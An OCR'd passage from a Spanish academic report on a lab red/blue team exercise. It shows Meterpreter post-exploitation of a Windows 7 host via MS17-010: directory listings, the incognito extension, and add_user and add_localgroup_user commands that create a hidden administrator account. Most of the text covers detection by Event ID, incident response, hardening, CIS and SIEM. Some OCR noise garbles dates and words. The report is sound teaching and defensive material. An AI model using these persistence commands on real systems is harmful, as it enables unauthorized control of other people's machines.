[#] Meterpreter session 1 opened (10.10.10.4:444 — 10.10.10.5:49162) at 2025-85-03 22:09:52 -0500
10.10.10.5:445 - =- =
10,10,10,5: 445 -
10.10.10.5:445 - =-

Fuente: Elaboracion Propia
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Ya dentro del sistema se procede a crear un usuario con privilegios, para validar que se

esta en el sistema se ubica en el disco C por medio de comandos (cd.) y luego en la capeta user se

listan los usuarios que existen en el sistema con el comando cd user

Figura 25

Listado de Usuarios existentes

File Actions Edit

neterpreter > cd

View Help

meterpreter » 1s

Listing: C:\

Mode Size Type Last modified Name

B4OTT7/ rwxrwirwx 0 dir  2020-06-26 23:05:04 -0500 $Recycle.Bin

040777/ rwxrwirwx 0 dir 2020-096-26 23:046:42 -0500 Archivos de programa
040777/ rwxrwirwx @ dir  2089-07-14 00:08:56 -0500 Documents and Settings
040777/ rwxrwxrwx @ dir 2089-07-13 22:20:08 -050@ PerflLogs

040555/ r-xr-xr-x 8192 dir  2025-05-03 10:35:52 -@500 Program Files

040555/ r-xr-xr-x 4096 dir  2020-06-26 23:53:09 -0500 Program Files (x86)
040777 /rwxrwkrwx 4096  dir  2025-04-08 21:28:36 -0500 ProgramData

040777/ rwxrwxrwx @ dir 2020-06-26 23:04:43 -0500 Recovery

040777/ rwxrwxrwx 4096  dir  2025-05-03 19:32:04 -050@ System Volume Information
048555/ r-xr-xr-x 4096 dir  2020-06-27 00:10:21 -0500 Users

040777 /rwxrwkrwx 16384 dir  2020-06-27 00:41:48 -0500 Windows

000000/ (] fif 1969-12-31 19:00:00 -0580 pagefile.sys

neterpreter >RSI

> 1s

Listing: C:\Users

Mode Size Type Last modified Name

040777/ rwxrwxrwx @ dir  2009-87-14 00:08:56 -0508 ALl Users
040555/ r-xr-xr-x 8192 dir 2020-06-26 23:04:42 -0500 Default
040777/ rwxrwxrwx 0 dir  2009-87-14 00:08:56 -050¢ Default User
048555/T-xr-xr-x 4096 dir 2011-04-12 04:10:43 -0500 Public
100666/ rw-rw-rw- 174  fil  2009-87-13 23:54:24 -0500 desktop.ini
040777/ rwxrwxrwx 0 dir  2020-06-27 00:09:17 -0500 semi

040777 /rwxrwxrwx 8192 dir  2020-06-26 23:05:12 -050¢ usuario
neterpreter > i

Fuente: Elaboracion Propia

Para la creacion del usuario con privilegios se realiza el siguiente procedimiento, como

ya se encuentra dentro del sistema Windows por medio de Meterpreter se digita el comando use

incognito para ingresar a la extension incognito

Figura 26

Ingresar la extension incognito

meterpreter > use incognito

Loading extension incognito... Success.

Fuente: Elaboracion Propia
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Luego se digita el comando add_user “EdisenRincon” “2025” (Usuario y contrasefia)

Figura 27

Crear Usuario y contrasefia

meterpreter > add_user "EdisenRIncon” *2025"
[*] Attempting to add user EdisenRIncon to host 127.0.0.1

[+] Successfully added user

Fuente: Elaboracion Propia

El usuario ya se cred, pero no pertenece a ningn grupo por lo tanto no tiene privilegios,
se procede a listar los grupos existentes para saber donde incluir el usuario creado, con el

comando list_tokens -g

Figura 28

Listado grupo de usuarios

i eterpreter > list_tokens
'Usage: list_tokens <list_order_option>

Lists all accessible tokens and their privilege level
|OPTIONS:

-g List tokens by unique groupname
-u List tokens by unique username

‘meterpreter > list_tokens -g

Delegation Tokens Available

|

\

=\INICIO DE SESION EN LA CONSOLA
’\Todos

BUILTIN\ Gl I
'BUILTIN\Usuarios

INT AUTHORITY\Autenticacion NTLM
'NT AUTHORITY\ESCRITURA RESTRINGIDA

;NT AUTHORITY\Esta compania

Fuente: Elaboracion Propia
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Ya identificado el grupo al que se debe afiadir el usuario creado, que en este caso es el

grupo de Administradores, lo siguiente es agregarlos con el comando

add_localgroup user “Administradores” “EdisenRIncon”

Figura 29

Ingreso usuario creado al grupo de Administradores

wom

meterpreter > add_localgroup_user "Administradores" "EdisenRIncon”

[*] Attempting to add user EdisenRIncon to localgroup Administradores on host 127.0.0.1

[+] Successfully added user to local group
Fuente: Elaboracion Propia

Se valida en la maquina Windows que el usuario si exista

Figura 30

Validacion de existencia Usuario con Privilegios

=1 <
@Qvl \J v |Equipo | » | Discolocal (C:) » Usuarios » v|#,|| Buscar Usuarios Fel
Organizar *  Incluir en biblioteca Compartir con Nueva carpeta =~ il @
=
i Favoritos

=) | [

B Descorgas =lre s

B Escritorio @@vl% <« Cuentas de usuaric » Administrar cuentas - |&,‘ | Buscar en el Panel de control el |

1= Sitios recientes

Elegir la cuenta que desee cambiar

Fuente:

-4 Bibliotecas
@ Documentos R ——
(=] Imagenes ‘ usuario | ﬁgls_e_r;tRI;\con
J’ Musica Administrador ministrador B
H videor | \ Protegida por contrasefia

#d Grupo en el hogar

18 Equipo
3_7 Disco local (C:)
T3 Unidsd de CD (D:)

€ Red
Crear una nueva cuenta
£ Qué es una cuenta de usuarie?
Acciones adicionales que se pueden realizar
& Configurar Control parental
Ira |z pagina principal de Cuentas de usuario
) 3 elemento

‘ m Invitado
e

La cuenta de invitado estd desactivada

Elaboracion Propia

AN ]
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11:24 p.m.
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Ataque Ms17-010

Segun el equipo de Fortra Alert Logic El ataque conocido como MS17-010 se refiere a
una vulnerabilidad critica en Microsoft Windows explotada por la herramienta EternalBlue, este
fallo permite la ejecucion remota de cddigo y ha sido la base para ataques masivos, siendo el
ransomware WannaCry uno de los ejemplos mas notorios. Estudios técnicos realizados
demostraron que esta vulnerabilidad permitia la ejecucion remota de codigo aprovechando fallos
en el protocolo SMB (Server Message Block) permitiendo la propagacion de un ataque (Equipo
De Fortra Alert Logic. 2017).

El ataque mediante EternalBlue se describe en las siguientes fases:

1. Fase de reconocimiento y seleccion del Objetivo: esta fase se lleva por medio de
un escaneo de las redes en donde se identifican los dispositivos que utilicen Windows sin haber
aplicado el parche MS17.010

2. Envio de Paquetes Maliciosos: el atacante envia estos paquetes a través del
protocolo SMB, estos estan disefiados para provocar un error en el procesamiento del sistema,
desencadenando la ejecucion del codigo malicioso en el dispositivo vulnerable.

3. Explotacion: Se compromete la integridad del sistema, instalando el payload

4. Escalada de privilegios: luego de la ejecucidn inicial del codigo, el atacante
procede a escalar privilegios, aprovechandose de otras vulnerabilidades del sistema con el fin de
obtener un mayor control accediendo a todos los recursos

5. Creacion de un Usuario Malicioso y Persistencia: luego de tener el control sobre
el sistema, se crean cuentas de usuario maliciosas para garantizar el acceso continuo inclusive

tras un reinicio del sistema



6. Propagacion y movimiento Lateral: el atacante utiliza el sistema comprometido
para lanzar ataques contra otros dispositivos que se encuentren en la misma red, utilizando

técnicas de movimiento lateral, buscando otras maquinas vulnerables.

Figura 31

Esquema Ataque.

¢ 1.
|

Atacante
Detecta el objetivo Maliciozos SMB

Sistema vulnerable | E
sin Parche MS17-010(

F

Ejecucion remota del Codigo

Instalacion de

FPayload

h A

Ecalada de

Privilegios

Creacion de Usuario

» iy
Malicioso

Aceso total y

Persistencia

.y

Propagacion a otros
sistemas

> END

Fuente: Elaboracion Propia
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Prueba de Contencion Blue Team

¢ Qué Seria lo Primero que Indagaria y Haria si Llegara a Encontrarse un Ataque
en Tiempo Real?

Desde la perspectiva de un equipo Blue Team, ante un ataque en tiempo real donde solo
se cuente con herramientas de licencia GLP (General Public License), lo primero es enfocar las
acciones en la identificacion rapida, la contencién inicial y la preservacion de la evidencia, la
rapida respuesta y la capacidad de analisis son un factor fundamental para minimizar el impacto
del incidente informatico (NIST, 2012; SANS Institute, n.d.).

Deteccién y Verificacion Inicial

Se realiza una indagacién en donde se verifica la naturaleza y autenticidad de la
alerta, es importante descartar que se trata de un falso positivo antes de tomar decisiones, se debe
buscar una correlacion de eventos y anomalias en el comportamiento del sistema.

En caso de confirmar la amenaza se debe Acceder a los logs del SIEM (Security

Information and Event Management) utilizando ELK, filtrando y correlacionando eventos
sospechosos, por ejemplo, en un ataque a Windows 7 que busca crear un usuario privilegiado, se
buscarian eventos de inicio de sesion exitosos y fallidos con patrones anémalos por contrasefias
incorrectas o inicios de sesion desde IPs o usuarios poco comunes Event ID 4624/4625, creacion
de cuentas de usuario Event ID 4720, adicion a grupos privilegiados Event 1D 4728/4732/4756 o
modificaciones en la politica de seguridad local Event ID 4719, intento de deshabilitar el registro
de eventos Event ID 4719 (Microsoft, n.d.).

Se debe realizar un andlisis del flujo de datos en la red, utilizando una herramienta

de deteccidn de intrusiones de red (NIDS) como Zeek, la cual permite identificar patrones de

trafico de red poco comunes y conexién a puertos no estandar o direcciones IPs sospechosas, esta
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herramienta también puede detectar la presencia de comandos y control C2 mediante la
inspeccion de protocolos y la deteccion de firmas o heuristicas asociadas a malware. Zeek genera
logs detallados de conexiones, HTTP, DNS, SSL/TLS, etc, que pueden ser analizados con
Kibana para correlacionar con eventos de host, Suricata puede generar alertas basadas en reglas
que indican actividad maliciosa.

Evaluacion del Impacto y Contencidén Rapida del Ataque

Se debe determinar qué tan comprometido quedo el sistema, verificando si el ataque
se propago o se encuentra aislado y qué datos se encuentran en riesgo, las acciones son las
siguientes:

Realizar un analisis de procesos y conexiones en vivo para este caso por ser un
SO Windows con Sysinternals que nos ayuda a entender el comportamiento del sistema
operativo, esta no es una herramienta de licencia GLP pero viene con Windows, sus herramientas
como Process Explorer y TCPView son invaluables para una primera mirada a un sistema
Windows comprometido, para adherirse estrictamente a GPL, alternativas como psutil
(biblioteca de Python) podrian usarse para scripts personalizados de monitoreo de procesos y
redes, o la exploracion de logs de auditoria de Windows si estan siendo recolectados por
herramientas GPL.

Aislar el equipo de la red mediante su desconexidn del cable de red, en caso de

contar con una infraestructura de red que permita la segmentacion dinamica con firewalls
controlados via API se pueden usar scripts para aplicar reglas de aislamiento de la maquina con
los servicios esenciales para la investigacion, importante el “network container” no apagar la
maquina directamente para preservar la memoria volatil (SANS Institute, n.d.).

Realizar un volcado de memoria RAM utilizando la herramienta Volatility
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Framework en la maquina comprometida, esta herramienta forense permite analizar el
volcado de memoria extrayendo informacién crucial como los procesos de ejecucion y sus rutas,
las conexiones de red activas, las DLLs cargadas, los modulos de kernel, los argumentos de linea
de comando, incluso el historial de los comandos ejecutados en algunos casos, todos estos datos
nos permitiran identificar malware en memoria, las herramientas utilizadas por el atacante y los
artefactos de persistencia.

Notificacion y Preservacion de la Evidencia

Se debe determinar a quien se le debe notificar y comenzar con el proceso de
preservacion de la evidencia con el objetivo de realizar una futura investigacion forense con un
enfoque en la integridad de los datos:

Seguir el plan de respuestas a incidentes establecido, notificando el respectivo equipo de
respuesta de incidentes CSIRT y la parte administrativa o gerencia, esta comunicacién debe ser
claray oportuna (NIST, 2012).

Se debe crear una imagen forense del Disco duro del equipo, utilizando la herramienta dd
(Disk Duplicator) esta herramienta es de distribucion Linux y permite crear una imagen forense
bit a bit del disco duro, esto permite asegurar que todos los datos, incluyendo el espacio no
asignado y sistema operativo sean capturados de manera inalterada.

Las acciones realizadas y apoyadas con el uso de herramientas de licencia de codigo
abierto permiten a los Blue Team enfrentar de manera eficiente un ataque en tiempo real,

logrando la contencidon y recoleccién de la evidencia para una investigacién profunda.
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¢ Teniendo en Cuenta el Ataque Ejecutado Desde el Ejercicio de Red Team, Qué
Medidas de Hardenizacion Propondria Para que el Atague no se Repita?

El equipo Red Team luego lograr la vulneracion del sistema y la creacion de un usuario y
escalada de privilegios a administrador en Windows7, nos da pie para crear medidas de
hardening exhaustivas, que aborden tanto las vulnerabilidades técnicas explotadas como las
debilidades en la configuracion y las politicas de seguridad del sistema, si bien es cierto
Windows 7 ya llego al fin de su ciclo de vida y ya no recibe soporte principal de Microsoft, algo
que lo hace sumamente vulnerable (CIS, 2020), es fundamental implementar unas mejores
practicas con el objetivo de mitigar ataques conocidos en un futuro.

Las Medidas de Hardenizacion para prevenir la repeticion del atague son las siguientes:

Actualizaciones de Seguridad y Gestion Rigurosa de Parches

La falta de parches adecuados permite que se lleven a cabo la mayoria de los ataques de
escalada de privilegios en los sistemas operativos antiguos, ya que sus vulnerabilidades son
conocidas y publicamente divulgadas (Portnox, n.d.; UpGuard, n.d.), si bien es cierto que el
soporte para Windows 7 ya ha finalizado, Microsoft ofreci6 algunas actualizaciones de seguridad
a través de programas ESU.

Por lo tanto, es necesario priorizar las actualizaciones de seguridad disponibles,
incluyendo las Extended Security Updates (ESU) (BytePlus. 2025), con esto se logra cerrar las
brechas de seguridad que ya son conocidas y explotadas por los atacantes.

Se debe implementar un sistema de gestion de parches para asegurar que las maquinas

que utilicen W7 reciban los parches de manera consistente y oportuna (SecHard, n.d.).
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Principio de Minimos Privilegios

Este principio restringe el acceso de usuarios y aplicaciones unicamente a los recursos y
funciones estrictamente necesarios para su operacion (WafaiCloud, n.d.; Portnox. 2025).

Por lo tanto, se debe reducir drasticamente el nimero de cuentas que gozan con privilegio
de administrador y las cuentas de usuario estandar no deben tener permisos de administrador
locales de forma predeterminada (Microsoft. 2025).

Se recomienda deshabilitar o renombrar la cuenta de Administrador que viene por
defecto, ya que esta es un objetivo frecuente, una buena practica es crear una cuenta alternativa
que tenga configurada una contrasefia fuerte (ne Digital. 2025).

Se debe habilitar el control de cuentas de usuario y configurarlo para pedir
consentimiento para las operaciones administrativas, esto afiade una capa de proteccion contra la
ejecucién no autorizada de programas (BytePlus. 2025).

Se deben otorgar permisos granulares a carpetas o archivos claves de registros criticos en
lugar de otorgar permisos amplios, asegurandonos de que solo los usuarios o servicios
autorizados pueden modificarlos.

Configuracion Segura de los Servicios y Aplicaciones

Las aplicaciones mal configuradas con privilegios elevados permiten a los atacantes
vulnerar los sistemas, por eso es necesario deshabilitar aquellos que no se usen, reduciendo asi la
superficie de atague (NinjaOne. 2025).

Desinstalar cualquier software, controlador o libreria que no sea estrictamente necesario
en el sistema, ya que cada una de estas piezas puede introducir nuevas vulnerabilidades al

sistema (NinjaOne. 2025).
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Implementar listas blancas de aplicaciones que permitan que solo el software que sea
aprobado y confiable se ejecute en el sistema, esto permite prevenir que los atacantes ejecuten
herramientas maliciosas o scripts utilizados para la creacion de usuarios y escalada de privilegios
(Portnox. 2025). Windows 7 no tiene AppLocker, pero existen soluciones de terceros que se
pueden aplicar.

Modernizar los protocolos de comunicacion deshabilitando versiones antiguas e inseguras
como SSL 3.0, TLS 1.0/1.1 y forzando el uso de TLS 1.2 o superior para todas las
comunicaciones (BytePlus. 2025).

Fortalecimiento de las Politicas de Contrasefias y Autenticacion

Un vector muy comun en los ataques a los sistemas de seguridad son las contrasefias
débiles, por eso es necesario implementar politicas de grupo para exigir contrasefias largas y con
un minimo de caracteres especiales y una combinacion de letras mayudsculas y mintsculas con
numeros (CIS, 2020).

Implementar politicas de envejecimiento de contrasefias con un tiempo determinado no
mayor a 90 dias, para reducir la ventana de exposicion en caso de compromiso (CIS, 2020).

Configurar politicas de blogueo de cuentas después de determinado numero de intentos
de inicio de sesion fallidos, con esto mitigaremos los ataques de fuerza bruta.

Es importante implementar la Autenticacién Multifactor (MFA) esto afiade una capa de
seguridad significativa, sobre todo en los entornos de acceso remoto (Portnox. 2025).

Configuracion de Firewall y Segmentacion de Red

Los firewalls bien configurados limitan el trafico de red controlando las comunicaciones
que entran y salen al sistema y la segmentacion aisla los activos mas criticos de la compafiia y

evitando el desplazamiento lateral (ne Digital, n.d.; BytePlus. 2025).
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Implementar soluciones IDS/IPS a nivel de red para monitorear el trafico y detectar
patrones de ataque o trafico de datos sospechoso (BytePlus. 2025).

Auditorias y Monitoreo Continuo

Habilitar auditorias de seguridad exhaustivas sobre todo en los equipos que tengan W7,
prestando atencion a los eventos de creacion de cuentas y adicion de grupos, asi como en los
cambios de las politicas de seguridad e intentos fallidos de inicio de sesion.

Centralizacion de los logs de seguridad de W7 en un sistema SIEM para su analisis y
correlacion en tiempo real, esto permite una temprana deteccion de patrones anomalos que
pueden indicar la ejecucion de un ataque o escalada de privilegios.

Realizar una serie de auditorias de seguridad periddicas, incluyendo el escaneo de

vulnerabilidades.

Diferencias Entre un Equipo Blueteam y un Equipo de Respuesta a Incidentes
Informéticos

Los equipos azules tienen una misién mas amplia y proactiva que los equipos de
respuesta a incidentes, su principal objetivo es proteger los activos de manera continua,
detectando amenazad y fortaleciendo la postura de seguridad general, su alcance es una cobertura
amplia que abarca toda la infraestructura de seguridad de la organizacion, realizan un monitoreo
continuo 24/7 de las redes, las aplicaciones y los sistemas buscando anomalias o actividades
sospechosas mediante el uso de herramientas como los SIEM, EDR o IDS/IPS, identifican,
evalUan y mitigan las debilidades do los sistemas y software mediante la aplicacion de parches y
hardening, implementan y mejoran los controles de seguridad mediante la implantacion y

configuracidn de firewalls, segmentacion de red y configuracion de politicas de acceso al
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sistema, ademas realizan una constante investigacion de las Gltimas amenazas y técnicas de
ataque, adaptando el sistema de seguridad; también realizan una busqueda proactiva de las
amenazas persistentes no detectadas dentro de la red, se encargan de capacitar al personal de la
organizacion sobre las mejores practicas de seguridad y la concienciacion sobre la ingenieria
social y los errores humanos como factor determinante dentro del sistema de seguridad de la
empresa, este grupo es un actor constantemente activo antes, durante y despues de un incidente
de seguridad informatica.

Por otra parte los Equipos de Respuesta a Incidentes Informaticos también llamados
CSIRT, son un grupo especializado y reactivo que se activa cuando ya se ha producido un
incidente de seguridad, su objetivo principal es gestionar el incidente desde su deteccion hasta su
contencidn y recuperacion del sistema minimizando el dafio directo y colateral, su alcance es
especifico para los incidentes de seguridad que ya se encuentran en curso, sus actividades
principales se centran en el ciclo de vida de la respuesta a los incidentes de seguridad,
confirmando la existencia de un incidente y determinando su alcance, naturaleza e impacto,
luego se concentran en la contencion del evento aislando el sistema previniendo la propagacion
del ataque, para seguir con la eliminacion de la causa raiz del evento, por ejemplo software
malicioso o0 acceso de los atacantes, para luego recuperar y restaurar los sistemas y servicios
afectados, finalizando con la recoleccién y analisis de la evidencia con el fin de entender de qué
manera ocurrio el evento, cuéles fueron las herramientas que utilizaron los ciberdelincuentes, las
brechas de seguridad aprovechadas por estos y determinar los posibles responsables; documentan
los hallazgos y proponen estrategias de mejora e implementacion de herramientas de seguridad

adicionales en caso de ser necesario.
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En ocasiones los equipos Blue Team pueden formar parte del ITR Team o trabajar de la

mano, mediante una relacion sinérgica, aprendiendo de cada evento para fortalecer las medidas

de seguridad de la corporacion.

Tabla 1

Diferencias Blue Team & IR Team/CSIRT

Caracteristica Blue Team

Equipo de respuesta a incidentes IR Team/CSIRT

Proteger y fortalecer la
postura de seguridad
general de manera

Mision . .
- continua, previniendo
Principal
ataques y detectando
amenazas.
Proactivo y Preventivo
con capacidades de
Enfoque ( p
deteccidn y respuesta)
Siempre activo, en el
Cuando dia a dia, vigilando y
Actla mejorando las defensas.
Amplio; toda la
infraestructura y las
Alcance y

politicas de seguridad.

Defiende contra los
ataques simulados por
Relacion con el Red Team para
el Red Team probar y mejorar las
defensas.

Reducir la superficie de
Objetivo a ataque y la probabilidad
Largo Plazo  de que ocurran
incidentes.

Gestionar y resolver incidentes de seguridad que ya
estan ocurriendo, minimizando su impacto y
restaurando la normalidad.

Reactivo (se activa ante un incidente).

Se activa cuando se detecta un incidente de seguridad,
y sus actividades cesan una vez que el incidente esta
resuelto y se han extraido las lecciones.

Especifico; enfocado en un incidente particular.

Puede participar en ejercicios con el Red Team para
probar la eficacia del plan de respuesta a incidentes.

Reducir el tiempo de permanencia del atacante (Dwell
Time) y el impacto de los incidentes.

Fuente: Elaboracion propia
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¢Si Dentro de un Equipo Blueteam le Indican que Debe Trabajar con Cis “;Center
For Internet Security”, Usted lo Utilizaria Para qué Fin?
En el contexto de un equipo Blue Team, la integracion del Center for Internet Security
(CI1S) resulta fundamental para establecer una postura de seguridad solida basada en estandares
reconocidos, su aplicacion garantiza un enfoque estructurado para la proteccion de sistemas
criticos dentro de una organizacion.
Las dos herramientas principales de CIS, los Controles CIS y los Puntos de Referencia
CIS, representan marcos de seguridad desarrollados por expertos globales en ciberseguridad.
Estas directrices proporcionan metodologias claras y priorizadas para endurecer configuraciones
y reducir riesgos (Ciegate Technologies, 2025).
Endurecimiento de Sistemas y Aplicaciones
El CIS permite implementar politicas de hardening en sistemas operativos, aplicaciones y
dispositivos de red, asegurando configuraciones seguras mas alla de los valores predeterminados.
Esto implica:
« Aplicacion de Politicas de Grupo (GPO) para controlar accesos y auditorias en entornos
Windows.
« Desactivacion de servicios innecesarios para minimizar la superficie de ataque (Trio
MDM., 2024).
« Gestion de cuentas y privilegios, adoptando el principio de minimo privilegio.
« Configuracion estricta de firewalls para restringir accesos no autorizados.
Evaluacion Continua de la Postura de Seguridad
Las guias del CIS se convierten en una referencia esencial para auditar sistemas,

permitiendo realizar:
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» Escaneos de conformidad, comparando configuraciones actuales con benchmarks de

seguridad (Microsoft. 2025).

 Identificacién de brechas de seguridad, detectando configuraciones incorrectas que

podrian ser explotadas por atacantes.

Fortalecimiento de la Deteccion y Monitoreo

Ademas de la prevencién, los Controles CIS optimizan la deteccion de amenazas
mediante la integracion con herramientas como SIEM. En este proceso, es crucial:

» Centralizar la recoleccion de logs, asegurando la auditoria de eventos clave como la

+ creacion de usuarios y modificaciones en configuraciones criticas (CISO Global,

n.d.).

» Desarrollar reglas de deteccidon, creando alertas en SIEM basadas en patrones de

actividad sospechosa (Carbide, n.d.).

Priorizacion de Inversién en Ciberseguridad

El CIS permite definir estrategias de inversion basadas en la reduccién efectiva de
riesgos. Esto facilita:

« Asignacion eficiente de recursos, enfocando esfuerzos en controles que maximicen
la seguridad.
« Comunicacién del riesgo a nivel directivo, justificando decisiones basadas en marcos

reconocidos (Towerwall, n.d.).

En conclusién, la integracién del CIS dentro de un equipo Blue Team no solo fortalece la
defensa contra amenazas digitales, sino que también optimiza la respuesta ante incidentes en

tiempo real, proporcionando un marco estructurado para la seguridad organizacional.
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Funciones y Caracteristicas Principales de un SIEM

Un Security Information and Event Management (SIEM) es una solucion esencial para la

gestion centralizada de datos de seguridad en una organizacion, su principal funcion es agregar,

analizar y correlacionar eventos de seguridad en tiempo real, permitiendo una rapida deteccion y

respuesta ante incidentes (IBM, n.d.-a). Al combinar capacidades de Gestion de Informacion de

Seguridad (SIM) y Gestion de Eventos de Seguridad (SEM), proporciona una vision integral de

la infraestructura de TI (Ambit BST. 2021).

Funciones Clave de un SIEM

Gestion de registros y agregacion de datos: Un SIEM recopila eventos de seguridad
de multiples fuentes, incluyendo firewalls, IDS/IPS, endpoints, sistemas operativos
y bases de datos, normalizando la informacion para su analisis estructurado (IBM,
n.d.-a).

Correlacion y analisis de eventos: Aplicando algoritmos de machine learning y
heuristicas, un SIEM detecta patrones anémalos, como intentos de acceso
sospechosos o actividad inusual dentro de la red (Ambit BST 2021).

Monitoreo de incidentes y alertas: Cuando se identifica actividad maliciosa, el SIEM
genera alertas priorizadas, visibles en dashboards, facilitando una respuesta rapida
por parte del equipo de seguridad (Check Point Software, n.d.; Microsoft, n.d.).
Investigacion forense y busqueda de datos historicos: Almacena eventos de
seguridad para su analisis retrospectivo, permitiendo reconstruir la cadena de un
ataque cibernético y evaluar su impacto

Generacion de informes y auditoria de cumplimiento: Produce reportes alineados
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« con normativas como GDPR, HIPAA, PCI DSS e ISO 27001, asegurando que la
organizacion cumple con estandares de seguridad (Intervalle Technologies. 2024).

Caracteristicas Esenciales de un SIEM

« Centralizacién de logs en una Unica plataforma de monitoreo.

« Analisis en tiempo real, permitiendo respuestas inmediatas a amenazas.
 Integracion con inteligencia de amenazas para detectar ataques conocidos (IBM,
n.d.-a).

« Escalabilidad, asegurando la gestion de grandes volumenes de datos.

« Automatizacioén de respuesta mediante la integracion con SOAR, optimizando los

o flujos de trabajo de ciberseguridad (IBM, n.d.-b).

Herramientas de Contencion de Ataques Informaticos Hardware o Software

La contencion de ataques informaticos es esencial para limitar los dafios tras detectar una
amenaza, no se trata solo de identificar el ataque, sino también de actuar rapidamente para
aislarlo y evitar que se propague o cause mas dafio.

Tres herramientas clave de contencion son:

Firewalls (Hardware o Software)

Son como puertas de control en la red, que filtran el trafico segun reglas predefinidas
(Check Point Software, n.d.-a; Cisco, n.d.-a). Cuando detectamos un ataque, podemos
ajustarlos para bloguear direcciones IP sospechosas, cerrar puertos o restringir protocolos. Por
ejemplo, un firewall Cisco ASA puede bloquear un IP malicioso, y en software, iptables en

Linux ayuda a controlar ain mas ese trafico (Juniper Networks, n.d.-a).
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Sistemas de Prevencion de Intrusiones (IPS) en Modo de Bloqueo

Son sistemas que estan en alerta y actdan en tiempo real para detener actividades
maliciosas detectadas, a diferencia de los sistemas de deteccion pasiva, el IPS puede cerrar
sesiones, bloquear IPs o poner en cuarentena archivos peligrosos automaticamente, ayudando a
detener un ataque en medio de su curso (IBM, n.d.-a; McAfee, n.d). Ejemplos como Cisco
Firepower o Snort, que puede configurarse en modo preventivo, muestran cOmo estos sistemas se
involucran activamente en la contencion.

Aislamiento o Cuarentena de Endpoints

Este método se enfoca en el dispositivo final, como una computadora o servidor, que puede

estar comprometido, mediante soluciones EDR como CrowdStrike o SentinelOne, si detectan
comportamiento malicioso, pueden aislar ese equipo de la red antes de que el malware se
propague o se exfiltren datos, esto se parece a poner en cuarentena a un animal enfermo para

evitar que infecte a los demés (CrowdStrike, n.d.; SentinelOne, n.d).
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Conclusiones

Regulacion rigurosa del acceso a informacion sensible, La Ley 1581 de 2012 y el Decreto
1377 de 2013 establecen que las empresas de ciberseguridad solo deben acceder a la informacién
estrictamente necesaria durante auditorias de seguridad, esto debe ser respaldado por acuerdos de
confidencialidad claros, protocolos de seguridad, y mecanismos como cifrado, anonimizacion, y
supervision interna, con el fin de proteger los datos personales y evitar su uso indebido, esto
destaca la importancia del cumplimiento normativo para mantener la confianza de los clientes.

Prevencidn del uso indebido de herramientas y acceso, para mitigar riesgos €ticos, es
fundamental implementar controles estrictos en el uso de herramientas de analisis forense,
medidas como politicas de acceso restringido, monitoreo continuo, autorizacion previa para
investigaciones, capacitacion en ética y sanciones claras son esenciales para garantizar que el
personal actle de manera responsable y en alineacion con los principios éticos y legales, esto no
solo previene abusos, sino que también fortalece la reputacion de la organizacion

El anélisis identificd que el sistema Windows 7 - 10 es vulnerable a MS17-010 (CVE-
2017-0143), lo que indica un alto riesgo de ejecucion remota de cddigo a través de SMBV1. Esta
vulnerabilidad ha sido explotada en ataques como EternalBlue, lo que evidencia la importancia
de mantener sistemas operativos actualizados y aplicar parches de seguridad.

Explotacion y escalamiento de privilegios exitoso: La ejecucion del exploit permitid
obtener acceso al sistema y demostrar una Proof of Concept (PoC) mediante la creacion de un
usuario con privilegios administrativos, esto confirma que la vulnerabilidad es explotable y que
un atacante con conocimientos técnicos puede tomar el control del sistema, lo que resalta la

necesidad de implementar controles de acceso mas estrictos.



76

Relevancia de los métodos de deteccidn y evaluacion: El uso de Nmap y Metasploit
permitio identificar servicios expuestos y vulnerabilidades activas, lo que demuestra la
efectividad de un enfoque sistematico en pruebas de penetracion, la combinacion de
reconocimiento, explotacion y escalamiento de privilegios proporciona una vision clara del
impacto que una brecha de seguridad puede tener en un entorno corporativo.

Importancia de la mitigacion y seguridad proactiva: La explotacion exitosa de estas
vulnerabilidades subraya la necesidad de aplicar medidas de seguridad como:

« Actualizar el sistema operativo y aplicar parches (MS17-010).

» Deshabilitar SMBv1 en equipos que no lo requieran.

» Configurar restricciones de acceso a RDP para evitar ataques de fuerza bruta y
explotacion de vulnerabilidades como BlueKeep.

» Monitorear el trafico de red con herramientas de deteccion de intrusiones para
identificar actividades sospechosas.

La respuesta efectiva ante un ataque en tiempo real por parte de un equipo Blue Team es
posible con el uso estratégico de herramientas GLP, permitiendo la mitigacién del impacto y la
preservacion de la evidencia forense; para ello, es fundamental priorizar la verificacion rapida de
alertas, la contencion inmediata del activo comprometido y la recoleccién de datos almacenados
en las memorias volatiles y persistentes, estableciendo una base sélida para investigaciones
posteriores y la eventual erradicacion de la amenaza.

Este enfoque debe alinearse con los principios de ciberseguridad y las metodologias
proactivas propuestas por NIST y SANS, lo que garantiza una gestion estructurada y eficiente
del incidente, asimismo, el fortalecimiento de las capacidades del equipo se optimiza mediante la

adopcion de herramientas accesibles y estratégicamente implementadas, permitiendo una mejor
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defensa ante ataques dirigidos y contribuyendo al desarrollo de una postura de seguridad mas
resiliente.

La gestion de un ciberataque en tiempo real requiere que el equipo Blue Team
implemente una metodologia de respuesta agil y estructurada, apoyada en su capacidad técnica
para actuar bajo presion; la interpretacion rapida de eventos de seguridad (Event IDs en
Windows), la correlacion de datos de red y host, y la aplicacion de medidas de contencion
precisas determinan la diferencia entre un incidente controlado y uno que escala a un
COMpromiso mayor.

El dominio de herramientas de codigo abierto y su integracion dentro de un ecosistema de
defensa, como un SIEM basado en ELK, no solo optimiza costos, sino que también fortalece la
comprension de los mecanismos de seguridad y la adaptabilidad de las soluciones a las
necesidades especificas del entorno; este enfoque resulta fundamental para la proteccion de
sistemas como Windows 7, mitigando intentos de escalada de privilegios y consolidando una
postura de seguridad mas resiliente.

La obsolescencia de Windows 7 supone un riesgo permanente, haciendo que las medidas
de hardening sean solo paliativas, aungue la aplicacion de principios como minimo privilegio,
gestion de parches y configuracion de firewalls reduce vulnerabilidades, no elimina la exposicién
a nuevas amenazas sin soporte oficial, la Gnica estrategia sostenible es la migracién a sistemas
con soporte activo.

Por otro lado, la prevencion de ataques de escalada de privilegios y creacion de usuarios
maliciosos requiere un enfoque de seguridad por capas, no existe una unica solucion, sino una

combinacion de politicas de acceso, segmentacion de red y monitoreo continuo mediante SIEM;
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La deteccion rapida de anomalias y la auditoria de logs son esenciales para responder de manera
efectiva y garantizar una seguridad operativa constante.

El CIS (Center for Internet Security) funcionaria como la columna vertebral para
construir y mantener una defensa sélida y proactiva, permitiendo al equipo Blue Team no solo
reaccionar a los ataques, sino principalmente prevenirlos y fortalecer la postura general de
seguridad de la organizacion.

La integracién del CIS dentro de un equipo Blue Team no solo fortalece la defensa contra
amenazas digitales, sino que también optimiza la respuesta ante incidentes en tiempo real,
proporcionando un marco estructurado para la seguridad organizacional.

